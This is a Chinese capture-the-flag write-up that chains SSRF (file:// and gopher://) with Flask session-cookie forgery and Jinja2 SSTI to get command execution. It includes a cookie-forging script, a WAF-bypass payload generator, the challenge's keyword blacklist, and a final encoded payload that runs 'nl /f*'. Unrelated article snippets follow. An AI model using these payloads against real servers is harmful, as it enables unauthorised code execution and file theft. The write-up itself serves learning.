2023PCTF Double_SS

记录一下 ssrf配合 ssti的结合

首先开启环境 明显的ssrf

 让我们访问 5555端口

使用http协议访问

url=127.0.0.1:5555

 告诉我们去访问 name 并且给我们key

url=127.0.0.1:5555/name

出现报错 说我们不是admin

然后我们往下看

我们使用file协议读取app/app.py

url=file:///app/app.py

 然后美化一下

from flask import Flask, request, session, render_template_string
from flask import redirect, url_for
import uuid

app = Flask(__name__)
app.config['SECRET_KEY'] = str(uuid.uuid4())

@app.route('/', methods=['GET'])
def index():
    res = '''
    You must be the admin to access the /name to SSTI using parameterme
    This is your key {}
    '''.format(app.config['SECRET_KEY'])
    return res

@app.route('/name', methods=['GET'])
def render():
    if session.get('admin') != True:
        return "You must be the admin"

    black_list = ['class', '__global__', 'os', 'popen', 'cat', 'flag', '__init__', 'eval', 'exec', 'bases']
    name = request.args.get('name')

    for item in black_list:
        if item in name:
            return "绕一下nya"

    html_str = '''
    <p>{0}</p>
    '''.format(name)

    return render_template_string(html_str, autoescape=True)

if __name__ == '__main__':
    app.debug = True
    app.run('127.0.0.1', 5555)

查看代码 发现这里存在一个session 的鉴权

需要admin的值为1

然后就开始查看资料

发现 flask 可以通过secret_key 伪造admin

使用下面的代码

#!/usr/bin/env python3
""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'

# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast

# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
    raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
    from abc import ABCMeta, abstractmethod
else: # > 3.4
    from abc import ABC, abstractmethod

# Lib for argument parsing
import argparse

# external Imports
from flask.sessions import SecureCookieSessionInterface

class MockApp(object):

    def __init__(self, secret_key):
        self.secret_key = secret_key


if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
    class FSCM(metaclass=ABCMeta):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)

                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e


        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if(secret_key==None):
                    compressed = False
                    payload = session_cookie_value

                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]

                    data = payload.split(".")[0]

                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)

                    return data
                else:
                    app = MockApp(secret_key)

                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)

                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e
else: # > 3.4
    class FSCM(ABC):
        def encode(secret_key, session_cookie_structure):
            """ Encode a Flask session cookie """
            try:
                app = MockApp(secret_key)

                session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.dumps(session_cookie_structure)
            except Exception as e:
                return "[Encoding error] {}".format(e)
                raise e


        def decode(session_cookie_value, secret_key=None):
            """ Decode a Flask cookie  """
            try:
                if(secret_key==None):
                    compressed = False
                    payload = session_cookie_value

                    if payload.startswith('.'):
                        compressed = True
                        payload = payload[1:]

                    data = payload.split(".")[0]

                    data = base64_decode(data)
                    if compressed:
                        data = zlib.decompress(data)

                    return data
                else:
                    app = MockApp(secret_key)

                    si = SecureCookieSessionInterface()
                    s = si.get_signing_serializer(app)

                    return s.loads(session_cookie_value)
            except Exception as e:
                return "[Decoding error] {}".format(e)
                raise e


if __name__ == "__main__":
    # Args are only relevant for __main__ usage
    
    ## Description for help
    parser = argparse.ArgumentParser(
                description='Flask Session Cookie Decoder/Encoder',
                epilog="Author : Wilson Sumanang, Alexandre ZANNI")

    ## prepare sub commands
    subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')

    ## create the parser for the encode command
    parser_encode = subparsers.add_parser('encode', help='encode')
    parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
                                help='Secret key', required=True)
    parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
                                help='Session cookie structure', required=True)

    ## create the parser for the decode command
    parser_decode = subparsers.add_parser('decode', help='decode')
    parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
                                help='Secret key', required=False)
    parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
                                help='Session cookie value', required=True)

    ## get args
    args = parser.parse_args()

    ## find the option chosen
    if(args.subcommand == 'encode'):
        if(args.secret_key is not None and args.cookie_structure is not None):
            print(FSCM.encode(args.secret_key, args.cookie_structure))
    elif(args.subcommand == 'decode'):
        if(args.secret_key is not None and args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value,args.secret_key))
        elif(args.cookie_value is not None):
            print(FSCM.decode(args.cookie_value))

这里有个问题

网上找到的wp都是存在cookie

但是这道题目没有 所以我们直接构造

{'admin':1}

这里这样写是因为 app.py中只需要 admin=true 所以 admin:1 就是 admin true

然后使用工具

py3 .\flask_session.py encode -s "a71ad490-8d8f-469a-a513-b41a3884ad85" -t "{'admin':1}"

获取到了session

然后这里继续需要 gopher协议传输

import urllib.parse

payload = \
    """GET /name? HTTP/1.1
Host: 127.0.0.1:5555
Cookie: session=eyJhZG1pbiI6MX0.ZXFAYA.V2buNLWHOmXiO9dX08lZHgpd5Bk

    """

# 注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(payload)
# print(tmp)
new = tmp.replace('%0A', '%0D%0A')
# print(new)
result = 'gopher://127.0.0.1:5555/' + '_' + new
result = urllib.parse.quote(result)
print(result)  # 这里因为是GET请求所以要进行两次url编码

执行

url=gopher%3A//127.0.0.1%3A5555/_GET%2520/name%253F%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A5555%250D%250ACookie%253A%2520session%253DeyJhZG1pbiI6MX0.ZXEt5Q.1iVKmm6xuIGThpY06HKmmFWqj3Y%250D%250A%250D%250A%2520%2520%2520%2520

出现了 typeerror 这里的报错 通过翻译就可以发现是没有值的迭代


    for item in black_list:
        if item in name:
            return "绕一下nya"

就是这里 因为我们没有传入name 所以这里是没有值的 我们可以开始测试ssti了

存在 然后这里我们看app.py存在waf 但是其实有一个工具直接绕过

GitHub - Marven11/Fenjing: 专为CTF设计的Jinja2 SSTI全自动绕WAF脚本 | A Jinja2 SSTI cracker for bypassing WAF

但是这里是存在处理的我们如何执行呢 工具给我们了一个pyhton脚本

from fenjing import exec_cmd_payload, config_payload
import logging
logging.basicConfig(level = logging.INFO)

def waf(s: str): # 如果字符串s可以通过waf则返回True, 否则返回False
    blacklist = [
        'class', '__global__', 'os', 'popen', 'cat', 'flag', '__init__', 'eval', 'exec', 'bases',"\\x6f\\x73","\\u006f\\u0073","\\157\\163"  #这里替换为过滤的内容
    ]
    return all(word not in s for word in blacklist)

if __name__ == "__main__":
    shell_payload, _ = exec_cmd_payload(waf, "ls%20/")  #需要url编码特殊符号
    #config_payload = config_payload(waf)

    print(f"{shell_payload}")
    #print(f"{config_payload}")

发现 可以输出没被过滤的payload

直接写入 然后打即可

这里发现flag 但是cat被过滤

rce的其他方法都可以

这里选择 nl%20/f*

gopher%3A//127.0.0.1%3A5555/_GET%2520/name%253Fname%253D%257B%257B%2528%2528lipsum.__globals__.__builtins__.__import__%2528%2527so%2527%255B%253A%253A-1%255D%2529%255B%2527p%2527%2527open%2527%255D%2528%2527nl%252520/f%252A%2527%2529%2529.read%2528%2529%2529%257D%257D%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A5555%250D%250ACookie%253A%2520session%253DeyJhZG1pbiI6MX0.ZXFAYA.V2buNLWHOmXiO9dX08lZHgpd5Bk%250D%250A%250D%250A%2520%2520%2520%2520

 这道题挺有意思的 组合拳 主要是你伪造 session需要知道如何伪造

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/246823.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

基于ssm的汽车服务商城系统设计与实现论文

摘 要 本课题是根据用户的需要以及网络的优势建立的一个基于Vue的汽车服务商城系统&#xff0c;来更好的为用户提供服务。 本基于Vue的汽车服务商城系统应用Java技术&#xff0c;MYSQL数据库存储数据&#xff0c;基于SSMVue框架开发。在网站的整个开发过程中&#xff0c;首先对…

Python自动化:selenium常用方法总结

使用的Python版本为3.8&#xff0c;selenium版本为4.15.2 Python自动化:selenium常用方法总结 1. 三种等待方式2. 浏览器操作3. 8种查找元素的方法4. 高级事件 1. 三种等待方式 强制等待 使用模块time下的sleep()实现等待效果隐式等待 使用driver.implicitly_wait()方法&#…

大数据云计算——使用Prometheus-Operator进行K8s集群监控

大数据云计算——使用Prometheus-Operator进行K8s集群监控 一、 背景 在非operator配置的普罗中我们监控k8s集群都是通过配置configmap进行服务发现和指标拉取。切换到prometheus-operator难免会有些使用问题。不少用户已经习惯底层配置自动发现的方式。当过渡到servicemonit…

【docker】常用命令

启动docker服务 systemctl start docker 停止docker服务 systemctl stop docker 重启docker服务 systemctl restart docker 查看docker服务状态 systemctl status docker 设置开机启动docker服务 systemctl enable docker 设置关闭开机启动docker服务 systemctl disable …

Excel实现字母+数字拖拉自动递增,步长可更改

目录 1、带有字母的数字序列自增加&#xff08;步长可变&#xff09; 2、仅字母自增加 3、字母数字同时自增 1、带有字母的数字序列自增加&#xff08;步长可变&#xff09; 使用Excel通常可以直接通过拖拉的方式&#xff0c;实现自增数字&#xf…

02基于matlab的卡尔曼滤波

基于matlab的卡尔曼滤波&#xff0c;可更改状态转移方程&#xff0c;控制输入&#xff0c;观测方程&#xff0c;设置生成的信号的噪声标准差&#xff0c;设置状态转移方差Q和观测方差R等参数&#xff0c;程序已调通&#xff0c;需要直接拍下。

luttuce(RedisTempate)实现hash expire lua脚本

话不多说先放脚本&#xff1a; local argv ARGV local length #argv if length > 0 then local unpackArgs {} for i 1, length - 1 dotable.insert(unpackArgs, argv[i]) end if redis.call(exists, KEYS[1]) 1 thenredis.call(del, KEYS[1])redis.call(hset, KEYS[…

前端自定义icon的方法(Vue项目)

第一步&#xff1a;进入在线的编辑器进行设计 好用&#xff1a;百度字体编辑器 比如先导入有个ttf文件 添加新字体 双击每个模块进入编辑区域 更改相应的信息&#xff0c;比如name 编辑完了进行导出文件(各种格式就行了)就行了 第二步&#xff1a;在项目中asset文件储存这些文…

十指波教育怎么样,课程是最新的吗

我们所有的课程内容&#xff0c;每年都会更新。 可以看一下我们的B站&#xff1a; 但是说到底&#xff0c;我们做私教服务 和那些传统的培训还是有很大区别。 传统培训机构不管线上还是线下主要是在卖一套课程的课程&#xff0c;可能是直播或者面授&#xff0c;你花钱买到的…

亚马逊云科技助力泡泡玛特快速部署全球弹性资源,打造国潮出海文化

企业全球化的终极目标就是品牌出海。1978年伴随着改革开放&#xff0c;中国企业开始放眼望世界输出中国产品&#xff0c;经过多年锤炼后&#xff0c;中国企业如TCL、泡泡玛特在不同的行业重塑版图&#xff0c;对外输出中国品牌&#xff0c;赢得了全球市场&#xff0c;中国企业实…

代码随想录算法训练营第52天| 300.最长递增子序列 674. 最长连续递增序列 718. 最长重复子数组

JAVA代码编写 300.最长递增子序列 给你一个整数数组 nums &#xff0c;找到其中最长严格递增子序列的长度。 子序列 是由数组派生而来的序列&#xff0c;删除&#xff08;或不删除&#xff09;数组中的元素而不改变其余元素的顺序。例如&#xff0c;[3,6,2,7] 是数组 [0,3,1…

Talk | 上海交通大学魏思哲: CoBEVFlow-解决车-车/路协同感知的时序异步问题

本期为TechBeat人工智能社区第556期线上Talk。 北京时间12月14日(周四)20:00&#xff0c;上海交通大学硕士生—魏思哲的Talk已准时在TechBeat人工智能社区开播&#xff01; 他与大家分享的主题是: “CoBEVFlow-解决车-车/路协同感知的时序异步问题”&#xff0c;介绍了他的团队…

“机器人V2.0时代已来”-任务规划难题迎刃而解,世界因机器人改变而翻转!

01-VILA背景简介 2022年&#xff0c;Michael Ahn, Anthony Brohan等人提出“Do as i can, not as i say: Grounding language in robotic affordances”算法。本文指出虽然大型语言模型可以编码关于世界的丰富语义知识&#xff0c;而这些知识对旨在对用自然语言表达的高级、时…

初探栈溢出(上)

0x01 HEVD介绍 HEVD全称为HackSys Ex treme Vulnerable Drive&#xff0c;是一个项目&#xff0c;故意设计包含多种漏洞的驱动程序&#xff0c;旨在帮助安全爱好者来提升他们在内核层面的漏洞利用能力。 说白了&#xff0c;是一个内核漏洞的靶场。 项目地址&#xff1a;htt…

做数据分析为何要学统计学(10)——什么是回归分析

​回归分析&#xff08;regression analysis)是量化两种或两种以上因素/变量间相互依赖关系的统计分析方法。回归分析根据因素的数量&#xff0c;分为一元回归和多元回归分析&#xff1b;按因素之间依赖关系的复杂程度&#xff0c;可分为线性回归分析和非线性回归分析。我们通过…

没有数据线,在手机上查看电脑备忘录怎么操作

在工作中&#xff0c;电脑和手机是我最常用的工具。我经常需要在电脑上记录一些重要的工作事项&#xff0c;然后又需要在手机上查看这些记录&#xff0c;以便随时了解工作进展。但是&#xff0c;每次都需要通过数据线来传输数据&#xff0c;实在是太麻烦了。 有一次&#xff0…

探秘AI赋能的未来世界:CyberAI深度学习技术助力变革

CyberAI平台概述 随着AI技术的极速发展&#xff0c;AI能力正在助力产业加速场景化落地。CyberAI是数新网络面向开发者和企业的一站式AI数据科学平台&#xff0c;提供交互式和可视化建模服务&#xff0c;算法模型全生命周期管理。平台可帮助开发者快速开发AI应用&#xff0c;解…

全都没有问题(一)

字符指针与字符数组的区别与关系 EOF使用指北&#xff0c;南辕北辙&#xff01; #include <stdio.h> #include <stdlib.h> #include <string.h>typedef struct LNode{char name[20];struct LNode *next; }LNode,*LinkList;int main() {char str1[20];char* …

基于若依搭建微服务nacos版本(ruoyi-Cloud)

说明&#xff1a;本文介绍基于Ruoyi-Cloud前后端分离nacos版本的微服务从0到1的搭建过程&#xff0c;是基于官方文档的补充说明&#xff0c;需要结合Ruoyi-Cloud的官方文档 https://doc.ruoyi.vip/ruoyi-cloud/ 如果直接查看官方文档便可成功部署&#xff0c;推荐直接看官方文档…

JS实现日历表

有需要的可以用一下&#xff0c;这是一个简单的demo. HTML&#xff1a; <table><thead><tr><th colspan"2"><span class"left"></span></th><th colspan"3"><span class"time"&g…